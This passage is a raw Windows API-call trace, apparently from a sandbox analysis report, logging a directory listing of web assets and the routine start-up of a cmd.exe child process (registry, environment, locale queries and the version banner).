ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0042.981] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0042.981] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0042.981] FindNextFileW (in: hFindFile=0x3931a48, lpFindFileData=0x350eb9c | out: lpFindFileData=0x350eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0042.981] FindClose (in: hFindFile=0x3931a48 | out: hFindFile=0x3931a48) returned 1 [0042.981] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x4007e50 | out: hHeap=0x5f0000) returned 1 [0042.981] FindNextFileW (in: hFindFile=0x3931a08, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd01, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="SPRING~1.CSS")) returned 1 [0042.981] FindNextFileW (in: hFindFile=0x3931a08, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts.css", cAlternateFileName="")) returned 1 [0042.982] FindNextFileW (in: hFindFile=0x3931a08, lpFindFileData=0x350ee18 | out: lpFindFileData=0x350ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STS2", cAlternateFileName="")) returned 1 [0042.982] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0xfffe) returned 0x4007e50 Thread: id = 20 os_tid = 0xa20 Thread: id = 22 os_tid = 0xa38 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x4ed84000" os_pid = "0x9bc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x9b0" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0x9c0 [0031.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f990 | out: lpSystemTimeAsFileTime=0x18f990*(dwLowDateTime=0x8a40bc50, dwHighDateTime=0x1d50335)) [0031.591] GetCurrentProcessId () returned 0x9bc [0031.591] GetCurrentThreadId () returned 0x9c0 [0031.591] GetTickCount () returned 0x17de5 [0031.591] QueryPerformanceCounter (in: lpPerformanceCount=0x18f998 | out: lpPerformanceCount=0x18f998*=15188217807) returned 1 [0031.592] GetModuleHandleW (lpModuleName=0x0) returned 0x49d60000 [0031.592] __set_app_type (_Type=0x1) [0031.592] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49d87810) returned 0x0 [0031.592] __getmainargs (in: _Argc=0x49daa608, _Argv=0x49daa618, _Env=0x49daa610, _DoWildCard=0, _StartInfo=0x49d8e0f4 | out: _Argc=0x49daa608, _Argv=0x49daa618, _Env=0x49daa610) returned 0 [0031.593] GetCurrentThreadId () returned 0x9c0 [0031.593] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x9c0) returned 0x3c [0031.593] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e30000 [0031.593] GetProcAddress (hModule=0x76e30000, lpProcName="SetThreadUILanguage") returned 0x76e46d40 [0031.593] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0031.594] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0031.594] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x18f928 | out: phkResult=0x18f928*=0x0) returned 0x2 [0031.594] VirtualQuery (in: lpAddress=0x18f910, lpBuffer=0x18f890, dwLength=0x30 | out: lpBuffer=0x18f890*(BaseAddress=0x18f000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0031.594] VirtualQuery (in: lpAddress=0x90000, lpBuffer=0x18f890, dwLength=0x30 | out: lpBuffer=0x18f890*(BaseAddress=0x90000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0031.594] VirtualQuery (in: lpAddress=0x91000, lpBuffer=0x18f890, dwLength=0x30 | out: lpBuffer=0x18f890*(BaseAddress=0x91000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0031.594] VirtualQuery (in: lpAddress=0x94000, lpBuffer=0x18f890, dwLength=0x30 | out: lpBuffer=0x18f890*(BaseAddress=0x94000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0031.594] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x18f890, dwLength=0x30 | out: lpBuffer=0x18f890*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0031.594] GetConsoleOutputCP () returned 0x1b5 [0031.594] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d9bfe0 | out: lpCPInfo=0x49d9bfe0) returned 1 [0031.594] SetConsoleCtrlHandler (HandlerRoutine=0x49d83184, Add=1) returned 1 [0031.594] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.594] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0031.595] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.595] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x49d8e194 | out: lpMode=0x49d8e194) returned 0 [0031.595] _get_osfhandle (_FileHandle=0) returned 0xe8 [0031.595] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x49d8e198 | out: lpMode=0x49d8e198) returned 0 [0031.595] GetEnvironmentStringsW () returned 0x258a60* [0031.595] GetProcessHeap () returned 0x240000 [0031.595] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa7c) returned 0x2594f0 [0031.595] FreeEnvironmentStringsW (penv=0x258a60) returned 1 [0031.595] GetProcessHeap () returned 0x240000 [0031.595] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x2588e0 [0031.595] GetEnvironmentStringsW () returned 0x258a60* [0031.595] GetProcessHeap () returned 0x240000 [0031.595] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa7c) returned 0x259f80 [0031.595] FreeEnvironmentStringsW (penv=0x258a60) returned 1 [0031.595] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18e7e8 | out: phkResult=0x18e7e8*=0x44) returned 0x0 [0031.595] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x0, lpData=0x18e800*=0x18, lpcbData=0x18e7e4*=0x1000) returned 0x2 [0031.595] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x1, lpcbData=0x18e7e4*=0x4) returned 0x0 [0031.596] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x0, lpData=0x18e800*=0x1, lpcbData=0x18e7e4*=0x1000) returned 0x2 [0031.596] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x0, lpcbData=0x18e7e4*=0x4) returned 0x0 [0031.596] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x40, lpcbData=0x18e7e4*=0x4) returned 0x0 [0031.596] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x40, lpcbData=0x18e7e4*=0x4) returned 0x0 [0031.596] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x0, lpData=0x18e800*=0x40, lpcbData=0x18e7e4*=0x1000) returned 0x2 [0031.596] RegCloseKey (hKey=0x44) returned 0x0 [0031.596] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x18e7e8 | out: phkResult=0x18e7e8*=0x44) returned 0x0 [0031.596] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x0, lpData=0x18e800*=0x40, lpcbData=0x18e7e4*=0x1000) returned 0x2 [0031.596] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x1, lpcbData=0x18e7e4*=0x4) returned 0x0 [0031.596] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x0, lpData=0x18e800*=0x1, lpcbData=0x18e7e4*=0x1000) returned 0x2 [0031.596] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x0, lpcbData=0x18e7e4*=0x4) returned 0x0 [0031.596] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x9, lpcbData=0x18e7e4*=0x4) returned 0x0 [0031.596] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x4, lpData=0x18e800*=0x9, lpcbData=0x18e7e4*=0x4) returned 0x0 [0031.596] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x18e7e0, lpData=0x18e800, lpcbData=0x18e7e4*=0x1000 | out: lpType=0x18e7e0*=0x0, lpData=0x18e800*=0x9, lpcbData=0x18e7e4*=0x1000) returned 0x2 [0031.596] RegCloseKey (hKey=0x44) returned 0x0 [0031.596] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccec8a8 [0031.596] srand (_Seed=0x5ccec8a8) [0031.596] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0031.596] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0031.596] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0031.596] GetProcessHeap () returned 0x240000 [0031.597] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x25aa10 [0031.597] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0031.597] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0031.597] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0031.597] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49d8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0031.597] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0031.597] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0031.597] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0031.597] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0031.597] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0031.597] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0031.597] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0031.597] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0031.597] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0031.597] GetProcessHeap () returned 0x240000 [0031.597] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2594f0 | out: hHeap=0x240000) returned 1 [0031.597] GetEnvironmentStringsW () returned 0x258a60* [0031.597] GetProcessHeap () returned 0x240000 [0031.597] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa94) returned 0x25ac30 [0031.597] FreeEnvironmentStringsW (penv=0x258a60) returned 1 [0031.597] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49d8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0031.598] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49d8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0031.598] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0031.598] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0031.598] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0031.598] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0031.598] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0031.598] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0031.598] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0031.598] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0031.598] GetProcessHeap () returned 0x240000 [0031.598] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5c) returned 0x25b6d0 [0031.598] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x18f5f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0031.598] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x18f5f0, lpFilePart=0x18f5d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x18f5d0*="Desktop") returned 0x25 [0031.598] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0031.598] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x18f300 | out: lpFindFileData=0x18f300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x25b740 [0031.598] FindClose (in: hFindFile=0x25b740 | out: hFindFile=0x25b740) returned 1 [0031.598] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x18f300 | out: lpFindFileData=0x18f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x25b740 [0031.598] FindClose (in: hFindFile=0x25b740 | out: hFindFile=0x25b740) returned 1 [0031.599] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0031.599] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x18f300 | out: lpFindFileData=0x18f300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x84feba30, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x84feba30, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x25b740 [0031.599] FindClose (in: hFindFile=0x25b740 | out: hFindFile=0x25b740) returned 1 [0031.599] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0031.599] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0031.599] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0031.599] GetProcessHeap () returned 0x240000 [0031.599] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ac30 | out: hHeap=0x240000) returned 1 [0031.599] GetEnvironmentStringsW () returned 0x25b740* [0031.599] GetProcessHeap () returned 0x240000 [0031.599] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xae8) returned 0x25c230 [0031.599] FreeEnvironmentStringsW (penv=0x25b740) returned 1 [0031.599] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0031.599] GetProcessHeap () returned 0x240000 [0031.599] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25b6d0 | out: hHeap=0x240000) returned 1 [0031.599] GetProcessHeap () returned 0x240000 [0031.599] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4016) returned 0x25cd20 [0031.600] GetProcessHeap () returned 0x240000 [0031.600] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd20 | out: hHeap=0x240000) returned 1 [0031.600] GetConsoleOutputCP () returned 0x1b5 [0031.600] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d9bfe0 | out: lpCPInfo=0x49d9bfe0) returned 1 [0031.600] GetUserDefaultLCID () returned 0x409 [0031.600] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49d97b50, cchData=8 | out: lpLCData=":") returned 2 [0031.600] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18f700, cchData=128 | out: lpLCData="0") returned 2 [0031.600] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x18f700, cchData=128 | out: lpLCData="0") returned 2 [0031.600] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x18f700, cchData=128 | out: lpLCData="1") returned 2 [0031.600] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49daa740, cchData=8 | out: lpLCData="/") returned 2 [0031.600] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49daa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0031.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49daa460, cchData=32 | out: lpLCData="Tue") returned 4 [0031.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49daa420, cchData=32 | out: lpLCData="Wed") returned 4 [0031.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49daa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0031.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49daa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0031.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49daa360, cchData=32 | out: lpLCData="Sat") returned 4 [0031.601] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49daa700, cchData=32 | out: lpLCData="Sun") returned 4 [0031.601] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49d97b40, cchData=8 | out: lpLCData=".") returned 2 [0031.601] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49daa4e0, cchData=8 | out: lpLCData=",") returned 2 [0031.601] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0031.601] GetProcessHeap () returned 0x240000 [0031.601] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20c) returned 0x2595c0 [0031.601] GetConsoleTitleW (in: lpConsoleTitle=0x2595c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0031.602] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.602] GetFileType (hFile=0xf4) returned 0x3 [0031.602] BrandingFormatString () returned 0x2597e0 [0031.615] GetVersion () returned 0x1db10106 [0031.615] _vsnwprintf (in: _Buffer=0x18f870, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x18f808 | out: _Buffer="6.1.7601") returned 8 [0031.615] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.615] GetFileType (hFile=0xf4) returned 0x3 [0031.615] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49da6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0031.615] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49da6340, nSize=0x2000, Arguments=0x18f810 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0031.615] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.615] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x49d9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0031.615] WriteFile (in: hFile=0xf4, lpBuffer=0x49d9c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x18f798, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesWritten=0x18f798*=0x24, lpOverlapped=0x0) returned 1 [0031.616] _vsnwprintf (in: _Buffer=0x49da6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f838 | out: _Buffer="\r\n") returned 2 [0031.616] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.616] GetFileType (hFile=0xf4) returned 0x3 [0031.616] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49d9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0031.616] WriteFile (in: hFile=0xf4, lpBuffer=0x49d9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x18f808, lpOverlapped=0x0 | out: lpBuffer=0x49d9c320*, lpNumberOfBytesWritten=0x18f808*=0x2, lpOverlapped=0x0) returned 1 [0031.616] _vsnwprintf (in: _Buffer=0x49da6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x18f838 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0031.616] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.616] GetFileType (hFile=0xf4) returned 0x3 [0031.616] _get_osfhandle (_FileHandle=1) returned 0xf4 [0031.616] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x49d9c320, 